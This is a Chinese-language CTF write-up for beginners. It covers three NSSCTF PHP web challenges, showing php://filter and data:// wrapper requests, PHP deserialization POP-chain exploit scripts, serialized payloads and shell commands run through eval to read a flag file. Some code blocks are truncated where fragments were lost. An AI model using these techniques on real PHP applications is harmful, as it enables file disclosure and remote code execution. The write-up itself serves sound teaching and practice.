这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。
想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。
[ZJCTF 2019]NiZhuanSiWei |
".file_get_contents($text,'r')."
"; 输出标题welcome to the zjctf
if(preg_match("/flag/",$file)){ #if判断通过preg_match匹配file文件中是不是含有flag
echo "Not now!"; #如果含有输出Not now
exit();
}else{ #如果没有匹配到执行下面代码
include($file); //useless.php #包含file文件
$password = unserialize($password); #反序列化password
echo $password; #输出反序列话的内容
}
}
else{
highlight_file(__FILE__); 将当前代码显示到页面上
}
?>
面对第一个if判断我们要传入text并且他的内容为welcome to the zjctf
这里使用php中的data如果你按照前面的题做过来的,应该知道为什么,如果不知道可以看这篇nssctf web入门(2)_许允er的博客-CSDN博客
我们通过data通过了第一个判断,接下去是file这里代码总注释了useless.php我们先试着将file的值为useless.php去看看useless.php
这里我们再次指定file为useless.php发现返回了初始页面,所以知道存在包含可以使用伪协议,科可以先思考一下,为什么这里发现useless.php的时候返回初始页面知道有漏洞
在这个代码中只有当text值,通过if判断才会输出信息,如果file中有flag字符会直接退出。否则他会包含file,在他包含file文件时,会执行其中的代码。由于这里的代码没有进行任何输出或重定向。所以会看到初始页面
我们通过filter读取useless.php的内容
file=php://filter/read=convert.base64-encode/resource=useless.php
?text=data://test/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
file)){ #if判断 是不是空
echo file_get_contents($this->file); #file_get_contents读取file的内容因为有echo 所以会输出file的内容
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里的tostring在上面代码的 echo $password; 中对象被当成字符串执行时执行tostring,在
useless.php中tostring执行判断file不为空执行echo file_get_contents($this->file);即输出file的文件
即输出flag.php
最后通过f12查看得到flag
[SWPUCTF 2021 新生赛]pop |
admin === 'w44m' && $this->passwd ==='08067'){ #if判断如果admin等于w44m passwd等于08067
include('flag.php'); #包含flag.php
echo $flag; #输出flag
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{ #定义一个叫w22m的类
public $w00m; #定义一个公共属性w00m
public function __destruct(){ #destruct当对象快要被销毁时执行
echo $this->w00m; #输出$w00m
}
}
class w33m{ #定义一个叫w33m的类
public $w00m; #定义一个公共属性w00m
public $w22m; #定义一个公共属性w22m
public function __toString(){ #toString当对象被当成字符串输出时调用
$this->w00m->{$this->w22m}(); #this->w22m代表要调用的方法名 this->w00m时w33m的实例
return 0;
}
}
$w00m = $_GET['w00m']; #通过get方法获取w00m并赋值给w00m
unserialize($w00m); #反序列化w00m
?>
通过这个我们知道第一传入的w00m应该先执行w22m类这样w22m中的destruct会触发,echo w00m 这时候如果我们让w33m中的this->w00m指定为w33m,因为w33m类中存在tostring,所以当w22m中$this->w00m == w33m 时w33m中的tostring会执行我们就成功执行到了w33m中,然后看w33m,w33m中有w00m w22m ,通过$this->w00m->{$this->w22m}()我们可以让w33m中的this->w00m等于w44m,这时候再让tthis->w22m等于Getflag方法,那原来的$this->w00m->{$this->w22m}()就会变成w44m->Getflag()代表从w44m类中调用Getflag方法,而再Getflag方法中,我们需要admin等于玩4m passwd等于08067
w00m = new w33m(); #让w22m中的w00m指向w33m
$zx->w00m->w00m = new w44m(); #使$zx->w00m->w00m指向w44m 这里相当于 new w33m()->w00m = new w44m()就是让w33中的w00m指向w44m
$zx->w00m->w22m = 'Getflag'; #使w33m中的w22m的值为Getflag 在题目里面就成了 Getflag()
echo urlencode(serialize($zx));
?>
这里urlencode加不加都可以
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
[NISACTF 2022]babyserialize |
fun=="show_me_flag"){ #if判断,fun的值是不是show_me_flag
hint(); #这里hint是自定义函数因为hint被注释了所以不管
}
}
function __call($from,$val){ #call方法在对象中调用一个不可访问的方法时带调用call $from表示调用的方法$val代表调用的参数,以数组形式
$this->fun=$val[0]; #fun的值等于val的第一个元素
}
public function __toString() #toString把对象当成字符串时调用
{
echo $this->fun; #输出fun的值
return " "; #返回一个空字符串
}
public function __invoke() #当把一个对象当作函数来执行时调用
{
checkcheck($this->txw4ever); #checkcheck也被注释了,根据注释的来看是用来过滤的
@eval($this->txw4ever); @eval用于执行将一段字符串当作php命令执行
}
}
class TianXiWei{ ##定义一个叫TianXiWei的类
public $ext; #定义了一个公共属性ext
public $x; #定义了一个公共属性x
public function __wakeup() #wakeup方法当反序列化时调用
{
$this->ext->nisa($this->x); #调用了this->ext->nsia方法参数为this->x因为这里没有nsia方法所以会使用下面类中的call方法
}
}
class Ilovetxw{ ##定义一个叫Ilovetxw的类
public $huang; #定义了一个公共属性huang
public $su; #定义了一个公共属性su
public function __call($fun1,$arg){ #call类在对象中访问一个不存在的方法时调用
$this->huang->fun=$arg[0]; #huang的fun属性等于arg中的第一个元素
}
public function __toString(){ #toString把对象当成字符串时调用
$bb = $this->su; #属性bb的值为su
return $bb(); #返回属性bb
}
}
class four{ ##定义一个叫four的类
public $a="TXW4EVER"; #定义一个公共属性a值为TXW4EVER
private $fun='abc'; #定义一个私有
属性fun值为abc
public function __set($name, $value) #set当我们给对象赋值时,如果这个属性没有被定义或者时私有属性就会调用
{
$this->$name=$value; #n将$value属性赋值给name属性
if ($this->fun = "sixsixsix"){ #if判断fun的值是不是为sixsixsix
strtolower($this->a); #strtolower用于将字符串转换为小写字符
}
}
}
if(isset($_GET['ser'])){ #if判断通过GET获取的ser的值是不是空
@unserialize($_GET['ser']); #反序列化ser
}else{
highlight_file(__FILE__); #将当前php的代码显示到页面上
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
这里我们先反推
思路 执行@eval 所执行@eval要使用invoke方法
invoke方法当对象以函数执行时被调用,使用我们要找到哪里将对象以函数执行了,我们知道函数执行的格式函数()所以我们发现 return $bb();符合, return $bb();在toString方法中, toString在对象当成字符串时执行,我们寻找哪里将对象当成字符串输出,strtolower($this->a);strtolower用于将字符串转换为小写字符,所以这里将对象a变成了字符串,而这里在set方法中,set方法将对象赋值时,属性没有定义会调用,$this->huang->fun=$arg[0];里面huang中的fun属性时没有定义的,所以这里会触发set方法,$this->huang->fun=$arg[0];在call方法中,call在对象中访问一个不存在的方法时调用, $this->ext->nisa($this->x);这里调用了nisa方法但是没有nisa方法所以会调用call方法,而 $this->ext->nisa($this->x);在wakeup中,wakeup在pop入口,因为反序列化时调用wakeup
_invoke --> __toString --> __set --> __call --> __wakeup
NISA Ilovetxw four Ilovetxw TianXiWei
执行流程
exp
ext = new Ilovetxw; #这里代表T类中的ext实例I类使$this->ext->nisa($this->x); 变成I类中的nisa因为没有所以调用I类中的call方法
$zx->ext->huang = new four; #这里因为前面I类call中 $this->huang->fun=$arg[0];没有huang这个方法所以调用set,所以我们指定到set在的f类
$zx->ext->huang->a = new Ilovetxw; #指定I类因为strtolower调用了toString
$zx->ext->huang->a->su = new NISA; #指定N类因为return $bb()调用invoke方法
echo urlencode(serialize($zx))
?>
这里因为system没有大写
这里ls / 直接ls只有index和waf
发现flag
cat /fllllllaaag